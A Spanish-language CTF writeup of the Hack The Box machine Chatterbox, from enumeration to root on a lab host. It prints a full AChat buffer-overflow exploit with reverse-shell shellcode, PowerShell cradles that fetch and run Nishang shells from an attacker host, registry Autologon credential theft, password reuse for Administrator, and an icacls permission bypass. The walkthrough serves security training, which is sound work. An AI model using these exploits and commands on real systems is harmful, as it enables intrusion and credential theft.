Saltar al contenido

HacktheBox – Chatterbox – Writeup – (OSCP Frienly)

En este post voy a vulnerar la máquina Chatterbox de Hack the Box. Es una máquina Windows de nivel medio pero con una explotación sencilla y una escalada de privilegios basada en la reutilización de credenciales.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 10000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.

nmap -p- -n --open --min-rate 10000 10.10.10.74 -Pn

En la máquina hay dos puertos abiertos. Escaneo los dos puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p9255,9256 -sC -sV 10.10.10.74 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-13 15:49 CET
Nmap scan report for 10.10.10.74
Host is up (0.12s latency).

PORT     STATE SERVICE VERSION
9255/tcp open  http    AChat chat system httpd
|_http-server-header: AChat
|_http-title: Site doesn't have a title.
9256/tcp open  achat   AChat chat system

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds

En los dos puertos está ejecutándose un programa de chat llamado Achat.

Explotación

Busco vulnerabilidades de este software en searchsploit y encuentro varias entre la que destaca una de Remote Buffer Overflow con un exploit escrito en python.

Busco esté exploit en la base de datos de exploit-db (aquí) y veo que se aprovecha de dos vulnerabilidades, registradas con los códigos CVE-2015-157y y CVE-2015-1578, para conseguir una shell reversa.

Investigo un poco y veo que solo tengo que cambiar la IP y el payload del exploit, pero el código del payload resultante no puede superar los 1152 bytes de tamaño. Con msfvenom genero un payload en phyton para conseguir una shell reversa

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.14.7 LPORT=7897 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

Copio este código en el exploit, quedando de la siguiente forma:

#!/usr/bin/python
# Author KAhara MAnhara
# Achat 0.150 beta7 - Buffer Overflow
# Tested on Windows 7 32bit

import socket
import sys, time

# msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.14.7 LPORT=7897 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
buf =  b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49"
buf += b"\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41"
buf += b"\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51"
buf += b"\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31"
buf += b"\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41"
buf += b"\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41"
buf += b"\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41"
buf += b"\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41"
buf += b"\x47\x42\x39\x75\x34\x4a\x42\x69\x6c\x6a\x48\x43\x52"
buf += b"\x49\x70\x59\x70\x49\x70\x31\x50\x35\x39\x49\x55\x4d"
buf += b"\x61\x55\x70\x4f\x74\x72\x6b\x32\x30\x6c\x70\x64\x4b"
buf += b"\x32\x32\x4c\x4c\x34\x4b\x70\x52\x7a\x74\x44\x4b\x50"
buf += b"\x72\x4c\x68\x4c\x4f\x46\x57\x50\x4a\x4f\x36\x4e\x51"
buf += b"\x69\x6f\x36\x4c\x4d\x6c\x70\x61\x73\x4c\x4d\x32\x4e"
buf += b"\x4c\x4f\x30\x37\x51\x36\x6f\x4c\x4d\x49\x71\x38\x47"
buf += b"\x4b\x32\x58\x72\x51\x42\x72\x37\x42\x6b\x62\x32\x5a"
buf += b"\x70\x54\x4b\x6d\x7a\x6d\x6c\x64\x4b\x4e\x6c\x4c\x51"
buf += b"\x63\x48\x6b\x33\x4e\x68\x49\x71\x56\x71\x32\x31\x42"
buf += b"\x6b\x42\x39\x4b\x70\x6b\x51\x66\x73\x72\x6b\x71\x39"
buf += b"\x4b\x68\x49\x53\x4e\x5a\x61\x39\x32\x6b\x6f\x44\x44"
buf += b"\x4b\x59\x71\x69\x46\x4c\x71\x6b\x4f\x54\x6c\x56\x61"
buf += b"\x46\x6f\x6a\x6d\x59\x71\x79\x37\x4f\x48\x79\x50\x32"
buf += b"\x55\x48\x76\x69\x73\x31\x6d\x6c\x38\x6d\x6b\x53\x4d"
buf += b"\x4d\x54\x33\x45\x47\x74\x51\x48\x54\x4b\x71\x48\x6c"
buf += b"\x64\x79\x71\x6a\x33\x51\x56\x74\x4b\x6a\x6c\x4e\x6b"
buf += b"\x32\x6b\x30\x58\x6b\x6c\x59\x71\x46\x73\x74\x4b\x4a"
buf += b"\x64\x44\x4b\x7a\x61\x5a\x30\x64\x49\x4d\x74\x6d\x54"
buf += b"\x4b\x74\x4f\x6b\x31\x4b\x63\x31\x61\x49\x30\x5a\x42"
buf += b"\x31\x39\x6f\x6b\x30\x4f\x6f\x4f\x6f\x4e\x7a\x44\x4b"
buf += b"\x6c\x52\x78\x6b\x34\x4d\x31\x4d\x4f\x78\x4e\x53\x50"
buf += b"\x32\x39\x70\x59\x70\x6f\x78\x42\x57\x43\x43\x6c\x72"
buf += b"\x71\x4f\x4f\x64\x73\x38\x6e\x6c\x62\x57\x6b\x76\x69"
buf += b"\x77\x39\x6f\x76\x75\x34\x78\x52\x70\x6b\x51\x6d\x30"
buf += b"\x4d\x30\x6f\x39\x75\x74\x42\x34\x32\x30\x72\x48\x4f"
buf += b"\x39\x63\x50\x32\x4b\x6b\x50\x59\x6f\x57\x65\x72\x30"
buf += b"\x70\x50\x4e\x70\x70\x50\x4f\x50\x70\x50\x6d\x70\x6e"
buf += b"\x70\x51\x58\x6a\x4a\x4a\x6f\x77\x6f\x49\x50\x39\x6f"
buf += b"\x36\x75\x53\x67\x50\x6a\x49\x75\x4f\x78\x69\x7a\x6a"
buf += b"\x6a\x6a\x6e\x59\x77\x63\x38\x4c\x42\x4b\x50\x6b\x6e"
buf += b"\x78\x59\x62\x69\x4a\x46\x72\x4a\x4c\x50\x30\x56\x30"
buf += b"\x57\x52\x48\x35\x49\x66\x45\x63\x44\x4f\x71\x79\x6f"
buf += b"\x48\x55\x33\x55\x39\x30\x42\x54\x4c\x4c\x69\x6f\x4e"
buf += b"\x6e\x4d\x38\x33\x45\x48\x6c\x73\x38\x78\x70\x68\x35"
buf += b"\x77\x32\x61\x46\x39\x6f\x46\x75\x50\x68\x42\x43\x42"
buf += b"\x4d\x42\x44\x49\x70\x31\x79\x39\x53\x72\x37\x72\x37"
buf += b"\x6f\x67\x70\x31\x48\x76\x30\x6a\x6b\x62\x62\x39\x4f"
buf += b"\x66\x6b\x32\x6b\x4d\x51\x56\x78\x47\x51\x34\x4c\x64"
buf += b"\x4d\x6c\x4a\x61\x49\x71\x72\x6d\x6e\x64\x4f\x34\x7a"
buf += b"\x70\x36\x66\x4d\x30\x6e\x64\x42\x34\x70\x50\x31\x46"
buf += b"\x4f\x66\x31\x46\x4e\x66\x30\x56\x6e\x6e\x6e\x76\x72"
buf += b"\x36\x71\x43\x51\x46\x72\x48\x30\x79\x76\x6c\x6d\x6f"
buf += b"\x42\x66\x49\x6f\x39\x45\x62\x69\x67\x70\x6e\x6e\x4e"
buf += b"\x76\x71\x36\x39\x6f\x6c\x70\x42\x48\x59\x78\x74\x47"
buf += b"\x4b\x6d\x73\x30\x4b\x4f\x39\x45\x45\x6b\x6c\x30\x58"
buf += b"\x35\x44\x62\x62\x36\x42\x48\x56\x46\x63\x65\x35\x6d"
buf += b"\x75\x4d\x39\x6f\x37\x65\x4f\x4c\x6b\x56\x53\x4c\x7a"
buf += b"\x6a\x63\x50\x6b\x4b\x47\x70\x73\x45\x49\x75\x45\x6b"
buf += b"\x4f\x57\x4d\x43\x63\x42\x32\x4f\x50\x6a\x39\x70\x32"
buf += b"\x33\x59\x6f\x66\x75\x41\x41"


# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('10.10.10.74', 9256)

fs = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
p  = "A0000000002#Main" + "\x00" + "Z"*114688 + "\x00" + "A"*10 + "\x00"
p += "A0000000002#Main" + "\x00" + "A"*57288 + "AAAAASI"*50 + "A"*(3750-46)
p += "\x62" + "A"*45
p += "\x61\x40" 
p += "\x2A\x46"
p += "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + "C"*9 + "\x60\x43"
p += "\x61\x43" + "\x2A\x46"
p += "\x2A" + fs + "C" * (157-len(fs)- 31-3)
p += buf + "A" * (1152 - len(buf))
p += "\x00" + "A"*10 + "\x00"


print "---->{P00F}!"
i=0
while i<len(p):
    if i > 172000:
        time.sleep(1.0)
    sent = sock.sendto(p[i:(i+8192)], server_address)
    i += sent
sock.close()

Por último, pongo un netcat a la escucha por el puerto indicando en msfvenom (7897), ejecuto el exploit y consigo una shell reversa.

Powershell

Para trabajar mas cómodo en la máquina, voy a repetir el proceso anterior pero obteniendo una consola en Powershell. Al generar nuevamente el código con msfvenom pero usando el payload /windows/powershell_reverse_tcp genera un código de 3634 bytes, un tamaño mucho mayor del permitido en la vulnerabilidad por lo que, en su lugar, voy a hacer que el código ejecute el script Invoke-PowerShellTcp.ps1 de Nishang que habré subido a un servidor web.

Primero copio el script /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1, lo renombro a ps.ps1, y añado una última línea de código que hará la shell reversa.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 7897

Genero nuevamente el código con msfvenom y lo añado al exploit, modificando el anterior.

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.7:8080/ps.ps1')" -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

Pongo un netcat a la escucha por el puerto 7897, levanto un servidor web en el puerto 8080 (en la ubicación del binario ps.ps1), ejecuto el exploit y consigo la shell reversa.

Escalada de privilegios.

Cargo y ejecuto el script de PowerUp.ps1 para encontrar configuraciones incorrectas con las que pueda llevar a cabo una escalada de privilegios.

iex(new-object net.webclient).downloadstring('http://10.10.14.7:8080/powerup.ps1')
Invoke-AllChecks

Consigo encontrar las credenciales de Autologon Alfred:Welcome1!. Buscando información sobre estas credenciales, llego a esta página. En la página se indica que este tipo de credenciales se almacenan en el registro de windows en texto plano. Lo compruebo de forma manual y obtengo los mismo resultados.

(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName
(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword

Si en lugar de una consola de Powershell, estuviese en una CMD convencional, el comando sería:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

Estas credenciales las establece el administrador. Es habitual, pero una muy mala práctica, que un usuario reutilice contraseñas por lo que es posible que la cuenta de administrador tenga la misma contraseña que Alfred.

En primer lugar, convierto la cadena Welcome1! de texto plano a «seguro» y la almaceno en la variable $password. En segundo lugar, creo un nuevo objeto para almacenar estas credenciales en la variable $cred.

Puedo ver como hacerlo en el apartado «Suministro de credenciales en una variable» aquí.

$password = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('Administrator', $password)

Por último, vuelvo a utilizar el script Invoke-PowerShellTcp.ps1 de Nishang, renombrándolo a adminps.ps1 y lo cargo en el servidor web que he levantado.

Pongo un netcat a la escucha por el puerto 7897, ejecuto el comando (en la máquina víctima) que carga las credenciales para iniciar el script adminps.ps1 a través de Powershell y consigo una shell reversa; confirmando que hay reutilización de credenciales.

Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7:8080/psadmin.ps1')" -Credential $cred

Bonus: icacls

Esta máquina posee otra forma de obtener la flag de root que, si bien no es válida para OSCP, es bastante interesante de ver ya que está basada en permisos de los directorios.

Si compruebo los permisos de fichero root.txt, veo que solamente el usuario Administrator tiene permisos sobre él pero si veo los permisos del directorio C:\Users\Administrator\Desktop\ puedo ver que el usuario Alfred (entre otros) tiene todos los permisos (F).

icacls root.txt
icacls Desktop

Dado que mi usuario tiene todos los permisos dentro del directorio, puedo modificar los permisos del fichero root.txt para que Alfred pueda tener también todos los permisos sobre él y poder leer el fichero.

icacls root.txt /grant alfred:F

Puedo obtener mas información sobre los permisos en windows aquí y aquí.

Flags

User

La flag de usuario la encuentro en la ruta C:\Users\Alfred\Desktop\user.txt.

Root

La flag de root la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Publicado enCTFHTBOSCPwindows